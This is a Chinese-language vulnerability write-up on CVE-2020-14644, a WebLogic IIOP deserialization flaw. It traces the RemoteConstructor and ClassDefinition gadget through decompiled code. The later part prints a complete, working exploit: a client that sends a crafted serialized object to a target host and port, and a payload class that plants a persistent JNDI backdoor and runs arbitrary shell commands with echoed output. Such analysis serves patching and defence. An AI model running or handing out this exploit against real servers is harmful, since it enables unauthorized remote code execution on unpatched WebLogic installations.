CVE-2020-14644 weblogic iiop反序列化漏洞分析

0x01 文章简述

2020年7月15日，Oracle发布2020年7月关键补丁更新,其中针对 WebLogic Server Core组件，且评分为9.8的严重漏洞共有4个,360CERT对其中CVE-2020-14644的反序列化利用链进行了分析。

0x02 weblogic 受影响版本

Oracle WebLogic Server 

12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

0x03 环境准备

1、安装weblogic server版本。

安装weblogic_server可以参考https://blog.csdn.net/qq_36868342/article/details/79967606。

2、生成wlfullclient.jar包

wlfullclient可以通过，在安装完weblogic服务以后，来到~/Oracle/Middleware/Oracle_Home/wlserver/server/lib目录，运行java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar，就会在lib目录下生成一个wlfullclient.jar包。这个wlfullclient.jar包包含了weblogic的基本所有功能类。

3、在IDEA新建一个工程文件。把coherence.jar包和wlfullclient.jar包放在同一个目录下，同时添加到库里。

0x04 反序列化gadget分析

这次iiop的关键反序列化类是RemoteConstructor。代码如下：

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.tangosol.internal.util.invoke;

import com.tangosol.io.ClassLoaderAware;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.SerializationSupport;
import com.tangosol.io.Serializer;
import com.tangosol.io.SerializerAware;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.Base;
import com.tangosol.util.ExternalizableHelper;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.util.Arrays;
import javax.json.bind.annotation.JsonbProperty;

public class RemoteConstructor<T> implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware {
    @JsonbProperty("definition")
    protected ClassDefinition m_definition;
    @JsonbProperty("args")
    protected Object[] m_aoArgs;
    private transient Serializer m_serializer;
protected transient ClassLoader m_loader;

    public RemoteConstructor() {
}

    public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) {
this.m_definition = definition;

        for(int i = 0; i < aoArgs.length; ++i) {
            Object arg = aoArgs[i];
            aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg;
}

        this.m_aoArgs = aoArgs;
}

    public ClassIdentity getId() {
        return this.getDefinition().getId();
}

    public ClassDefinition getDefinition() {
        return this.m_definition;
}

    public Object[] getArguments() {
        return this.m_aoArgs;
}

    public T newInstance() {
        RemotableSupport support = RemotableSupport.get(this.getClassLoader());
        return support.realize(this);
}

    protected ClassLoader getClassLoader() {
        ClassLoader loader = this.m_loader;
        return loader == null ? Base.getContextClassLoader(this) : loader;
}

    public boolean equals(Object o) {
        if (!(o instanceof RemoteConstructor)) {
            return false;
        } else {
            RemoteConstructor<?> that = (RemoteConstructor)o;
            return this == that || this.getClass() == that.getClass() && Base.equals(this.m_definition, that.m_definition) && Base.equalsDeep(this.m_aoArgs, that.m_aoArgs);
        }
}

    public int hashCode() {
        int nHash = this.m_definition.hashCode();
        nHash = 31 * nHash + Arrays.hashCode(this.m_aoArgs);
        return nHash;
}

    public String toString() {
        return "RemoteConstructor{definition=" + this.m_definition + ", arguments=" + Arrays.toString(this.m_aoArgs) + '}';
}

    public void readExternal(DataInput in) throws IOException {
        this.m_definition = (ClassDefinition)ExternalizableHelper.readObject(in);
Object[] aoArgs = this.m_aoArgs = new Object[ExternalizableHelper.readInt(in)];

        for(int i = 0; i < aoArgs.length; ++i) {
            aoArgs[i] = ExternalizableHelper.readObject(in);
}

}

    public void writeExternal(DataOutput out) throws IOException {
        ExternalizableHelper.writeObject(out, this.m_definition);
        Object[] aoArgs = this.m_aoArgs;
        ExternalizableHelper.writeInt(out, aoArgs.length);
        Object[] var3 = aoArgs;
int var4 = aoArgs.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            Object o = var3[var5];
            ExternalizableHelper.writeObject(out, o);
}

}

    public void readExternal(PofReader in) throws IOException {
        this.m_definition = (ClassDefinition)in.readObject(0);
        this.m_aoArgs = in.readArray(1, (x$0) -> {
            return new Object[x$0];
        });
}

    public void writeExternal(PofWriter out) throws IOException {
        out.writeObject(0, this.m_definition);
        out.writeObjectArray(1, this.m_aoArgs);
}

    public Object readResolve() throws ObjectStreamException {
        return this.newInstance();
}

    public Serializer getContextSerializer() {
        return this.m_serializer;
}

    public void setContextSerializer(Serializer serializer) {
        this.m_serializer = serializer;
        if (serializer instanceof ClassLoaderAware) {
            this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader();
}

    }
}


RemoteConstructor实现了ExternalizableLite接口，ExternalizableLite接口继承了Serializable，所以这个RemoteConstructor类是可以进行序列化的。
该类里没有readobject函数，但有readResolve函数。详细了解可以参考https://blog.csdn.net/Leon_cx/article/details/81517603
目前总结如下：


必须实现Serializable接口或Externalizable接口的类才能进行序列化


transient和static修饰符修饰的成员变量不会参与序列化和反序列化


反序列化对象和序列化前的对象的全类名和serialVersionUID必须一致


在目标类中添加私有的writeObject和readObject方法可以覆盖默认的序列化和反序列化方法


在目标类中添加私有的readResolve可以最终修改反序列化回来的对象，可用于单例模式防止序列化导致生成第二个对象的问题


readResolve操作是在readobject后面，所以readResolve会覆盖readobject的内容。

查看下readResolve函数的内容：

public Object readResolve() throws ObjectStreamException {
        return this.newInstance();
    }

public T newInstance() {
        RemotableSupport support = RemotableSupport.get(this.getClassLoader());
        return support.realize(this);
}
getClassLoader()代码：
 protected ClassLoader getClassLoader() {
        ClassLoader loader = this.m_loader;
        return loader == null ? Base.getContextClassLoader(this) : loader;
}
根据RemoteConstructor的构造函数可知。我们先写个大框架：
public class App2 {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
        /*ClassIdentity classIdentity = new ClassIdentity(
                org.iiop.test1.class
);*/

        RemoteConstructor remoteConstructor = new RemoteConstructor(
                new ClassDefinition(),
                new Object[]{}
);

byte[] serialize= Serializables.serialize(remoteConstructor);

        try {
            Serializables.deserialize(serialize);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
}

    }
}
因为this.m_loader是transient修饰的，所以loader会是null，返回的是Base.getContextClassLoader(this)。


看下RemotableSupport里面的realize方法：
public <T> T realize(RemoteConstructor<T> constructor) {
        ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
        Class<? extends Remotable> clz = definition.getRemotableClass();
        if (clz == null) {
            synchronized(definition) {
                clz = definition.getRemotableClass();
                if (clz == null) {
                    definition.setRemotableClass(this.defineClass(definition));
                }
            }
}

        Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
        instance.setRemoteConstructor(constructor);
        return instance;
}
第一张图片的报错是在registerIfAbsent方法里，因为ClassDefinition我们定义的是空，所以取到definition.getId()为null。
protected ClassDefinition registerIfAbsent(ClassDefinition definition) {
assert definition != null;

        ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);
        return rtn == null ? definition : rtn;
}

然后导致(ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition)报错了


那我们接着看一下ClassDefinition是做啥的，必须给他一个初始化有值的对象，代码如下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.tangosol.internal.util.invoke;

import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.Base;
import com.tangosol.util.ClassHelper;
import com.tangosol.util.ExternalizableHelper;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import javax.json.bind.annotation.JsonbProperty;

public class ClassDefinition implements ExternalizableLite, PortableObject {
    protected transient Class<? extends Remotable> m_clz;
    protected transient MethodHandle m_mhCtor;
    @JsonbProperty("id")
    protected ClassIdentity m_id;
    @JsonbProperty("code")
protected byte[] m_abClass;

    public ClassDefinition() {
}

    public ClassDefinition(ClassIdentity id, byte[] abClass) {
        this.m_id = id;
        this.m_abClass = abClass;
        String sClassName = id.getName();
        Base.azzert(sClassName.length() < 65535, "The generated class name is too long:n" + sClassName);
}

    public ClassIdentity getId() {
        return this.m_id;
}

    public byte[] getBytes() {
        return this.m_abClass;
}

    public Class<? extends Remotable> getRemotableClass() {
        return this.m_clz;
}

    public void setRemotableClass(Class<? extends Remotable> clz) {
        this.m_clz = clz;
        Constructor<?>[] aCtor = clz.getDeclaredConstructors();
        if (aCtor.length == 1) {
            try {
                MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());
                this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);
            } catch (IllegalAccessException | NoSuchMethodException var4) {
                throw Base.ensureRuntimeException(var4);
            }
}

}

    public Object createInstance(Object... aoArgs) {
        try {
            return this.getConstructor(aoArgs).invokeWithArguments(aoArgs);
        } catch (NoSuchMethodException var10) {
            Constructor[] aCtors = this.m_clz.getDeclaredConstructors();
            Constructor[] var4 = aCtors;
int var5 = aCtors.length;

            for(int var6 = 0; var6 < var5; ++var6) {
                Constructor ctor = var4[var6];
                if (ctor.getParameterTypes().length == aoArgs.length) {
                    try {
                        return ctor.newInstance(aoArgs);
                    } catch (InvocationTargetException | IllegalAccessException | IllegalArgumentException | InstantiationException var9) {
                    }
                }
}

            throw Base.ensureRuntimeException(var10);
        } catch (Throwable var11) {
            throw Base.ensureRuntimeException(var11);
        }
}

    protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException {
        if (this.m_mhCtor != null) {
            return this.m_mhCtor;
        } else {
Class[] aParamTypes = ClassHelper.getClassArray(aoArgs);

            try {
                MethodType ctorType = MethodType.methodType(Void.TYPE, ClassHelper.unwrap(aParamTypes));
                return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
            } catch (NoSuchMethodException var6) {
                try {
                    MethodType ctorType = MethodType.methodType(Void.TYPE, aParamTypes);
                    return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
                } catch (IllegalAccessException var5) {
                    throw Base.ensureRuntimeException(var5);
                }
            } catch (IllegalAccessException var7) {
                throw Base.ensureRuntimeException(var7);
            }
        }
}

    public void dumpClass(String sDir) {
        if (sDir != null) {
            File dirDump = new File(sDir, this.m_id.getPackage());
            boolean fDisabled = dirDump.isFile() || !dirDump.exists() && !dirDump.mkdirs();
            if (!fDisabled) {
                try {
                    OutputStream os = new FileOutputStream(new File(dirDump, this.m_id.getSimpleName() + ".class"));
Throwable var5 = null;

                    try {
                        os.write(this.m_abClass);
                    } catch (Throwable var15) {
                        var5 = var15;
                        throw var15;
                    } finally {
                        if (os != null) {
                            if (var5 != null) {
                                try {
                                    os.close();
                                } catch (Throwable var14) {
                                    var5.addSuppressed(var14);
                                }
                            } else {
                                os.close();
                            }
}

                    }
                } catch (IOException var17) {
                }
            }
}

}

    public boolean equals(Object o) {
        if (!(o instanceof ClassDefinition)) {
            return false;
        } else {
            ClassDefinition that = (ClassDefinition)o;
            return this == that || this.getClass() == that.getClass() && Base.equals(this.m_id, that.m_id);
        }
}

    public int hashCode() {
        return this.m_id.hashCode();
}

    public String toString() {
        return "ClassDefinition{id=" + this.m_id + '}';
}

    public void readExternal(DataInput in) throws IOException {
        this.m_id = (ClassIdentity)ExternalizableHelper.readObject(in);
        this.m_abClass = ExternalizableHelper.readByteArray(in);
}

    public void writeExternal(DataOutput out) throws IOException {
        ExternalizableHelper.writeObject(out, this.m_id);
        ExternalizableHelper.writeByteArray(out, this.m_abClass);
}

    public void readExternal(PofReader in) throws IOException {
        this.m_id = (ClassIdentity)in.readObject(0);
        this.m_abClass = in.readByteArray(1);
}

    public void writeExternal(PofWriter out) throws IOException {
        out.writeObject(0, this.m_id);
        out.writeByteArray(1, this.m_abClass);
    }
}
新框架代码如下：
public class App2 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {

ClassIdentity classIdentity = new ClassIdentity();

        ClassDefinition classDefinition = new ClassDefinition(
                classIdentity,
new byte[]{}

);

        RemoteConstructor remoteConstructor = new RemoteConstructor(
                classDefinition,
                new Object[]{}
);

byte[] serialize= Serializables.serialize(remoteConstructor);

        try {
            Serializables.deserialize(serialize);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
}

    }
}
还是null，说明要对classIdentity也进行赋值初始化，classIdentity的构造函数如下：
public ClassIdentity(Class<?> clazz) {
        this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));
}

    protected ClassIdentity(String sPackage, String sBaseName, String sVersion) {
        this.m_sPackage = sPackage;
        this.m_sBaseName = sBaseName;
        this.m_sVersion = sVersion;
}
可知ClassIdentity是一个new class。我们再同目录下创建一个test1的类。代码如下：
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);

        ClassDefinition classDefinition = new ClassDefinition(
                classIdentity,
new byte[]{}

);
执行代码放在优先级最高的static里。
修改代码:
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);

        ClassDefinition classDefinition = new ClassDefinition(
                classIdentity,new byte[]{}

);
definition.getId()终于不是null了。


最终来到


definseClass可以通过https://xz.aliyun.com/t/2272学习，我们可以看到sClassName已经是test1的值，但是abClass还是byte[0]，按理abClass里面存储的应该是test1的bytes值，所以我们需要想办法把abClass的值改成test1的bytes。一种是反射来修改，一种是看abClass是在哪里复制的。
这里我们采取第二种方法，因为byte[] abClass = definition.getBytes();通过可知，abClass是通过definition来赋值的，但是definition我们前面在初始化的时候，只给了类名，没有给bytes，所以我们修改下代码。类的操作可以通过javassist库来进行操作。
代码修改如下：
ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);

        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(org.iiop.test1.class.getName());
        ctClass.replaceClassName(org.iiop.test1.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
System.out.println(ctClass.toString());

        ClassDefinition classDefinition = new ClassDefinition(
                classIdentity,
ctClass.toBytecode()

);
因为之前看到的sClassName是test1$+十六进制，所以要做个replaceClassName的替换操作。
不替换前：


替换后：


运行之后：

成功把test1的内容给执行了，但是还有个报错。
org.iiop.test1$0BC03FF199F8E95021E1281BDFAAA032 cannot be cast to com.tangosol.internal.util.invoke.Remotable没有实现Remotable接口，那就改写下test1。

package org.iiop;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;

public class test1 implements Remotable {
    static {
        System.out.println("success");
}

    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
}

    @Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

    }
}
最终成功，无报错：


基本框架结束以后，在外面套一个T3协议或者iiop发送出去，即可rce。因为使用的是defineClass所以是可以直接回显的。
这边我直接给出UnicodeSec的利用iiop回显代码，其中有个小bug，我修改了一下一点点代码：
因为他的逻辑是if(iiopCtx.lookup(“UnicodeSec”) == null)我在测试过程中发现，因为第一次不存在UnicodeSec一定会是报错，导致一直不能进入rebind，一直循环在if这里，所以我采用try的方法，其他代码不变
package org.iiop;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;

import javax.naming.Context;
import javax.naming.NamingException;
import java.rmi.RemoteException;

/**
 * created by UnicodeSec potatso
 */
public class App {
    public static void main(String[] args) throws Exception {
        String text = "                   ___   ___ ___   ___        __ __ _  _     __ _  _   _  _                     n" +
                "                  |__ \ / _ \__ \ / _ \      /_ /_ | || |   / /| || | | || |                    n" +
                "   _____   _____     ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_    _____  ___ __  n" +
                "  / __\ \ / / _ \   / /| | | |/ /| | | |______| || |__   _| '_ \__   _|__   _|  / _ \ \/ / '_ \ n" +
                " | (__ \ V /  __/  / /_| |_| / /_| |_| |      | || |  | | | (_) | | |    | |   |  __/>  <| |_) |n" +
                "  \___| \_/ \___| |____|\___/____|\___/       |_||_|  |_|  \___/  |_|    |_|    \___/_/\_\ .__/ n" +
                "                                                                                         | |    n" +
                "                                                                                         |_|    " +
                "                                                     Powered by UnicodeSec potatso              ";
        System.out.println(text);
        String host = "127.0.0.1";
        String port = "7001";
        String command = "whoami";
        Context iiopCtx = getInitialContext(host, port);
        try{
            iiopCtx.lookup("UnicodeSec");
        }catch (Exception e){
            ClassIdentity classIdentity = new ClassIdentity(org.iiop.test.class);
            ClassPool cp = ClassPool.getDefault();
            CtClass ctClass = cp.get(org.iiop.test.class.getName());
            ctClass.replaceClassName(org.iiop.test.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
            RemoteConstructor constructor = new RemoteConstructor(
                    new ClassDefinition(classIdentity, ctClass.toBytecode()),
                    new Object[]{}
            );
            String bindName = "UnicodeSec" + System.nanoTime();
            iiopCtx.rebind(bindName, constructor);
        }
            executeCmdFromWLC(command, iiopCtx);
}

    private static void printUsage() {
        System.out.println("usage: java -jar cve-2020-14644.jar host port command");
        System.exit(-1);
}

    private static void executeCmdFromWLC(String command, Context iiopCtx) throws NamingException, RemoteException {
        ClusterMasterRemote remote = (ClusterMasterRemote) iiopCtx.lookup("UnicodeSec");
        String response = remote.getServerLocation(command);
        System.out.println(response);
}

    public static Context getInitialContext(String host, String port) throws Exception {
        String url = converUrl(host, port);
        Environment environment = new Environment();
        environment.setProviderUrl(url);
        environment.setEnableServerAffinity(false);
        Context context = environment.getInitialContext();
        return context;
}

    public static String converUrl(String host, String port) {
        return "iiop://" + host + ":" + port;
}

}
test的代码:
package org.iiop;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class test implements Remotable, ClusterMasterRemote {

    static {
        try {
            String bindName = "UnicodeSec";
            Context ctx = new InitialContext();
            test remote = new test();
            ctx.rebind(bindName, remote);
            System.out.println("installed");
        } catch (Exception var1) {
            var1.printStackTrace();
        }
}

public test() {

}

    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
}

    @Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

}

    @Override
public void setServerLocation(String var1, String var2) throws RemoteException {

}

    @Override
    public String getServerLocation(String cmd) throws RemoteException {
try {

            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
List<String> cmds = new ArrayList<String>();

            if (isLinux) {
                cmds.add("/bin/bash");
                cmds.add("-c");
                cmds.add(cmd);
            } else {
                cmds.add("cmd.exe");
                cmds.add("/c");
                cmds.add(cmd);
}

            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();

            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("n");
}

            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

第一次发送会报错，因为在rebind，第二次就会回显：


0x05 总结
这是一次相对其他较简单的gadget分析，需要了解iiop，cobra，反序列化，序列化等相关知识，同时还需要了解javassist和defineClass的知识。
0x06 weblogic全球态势


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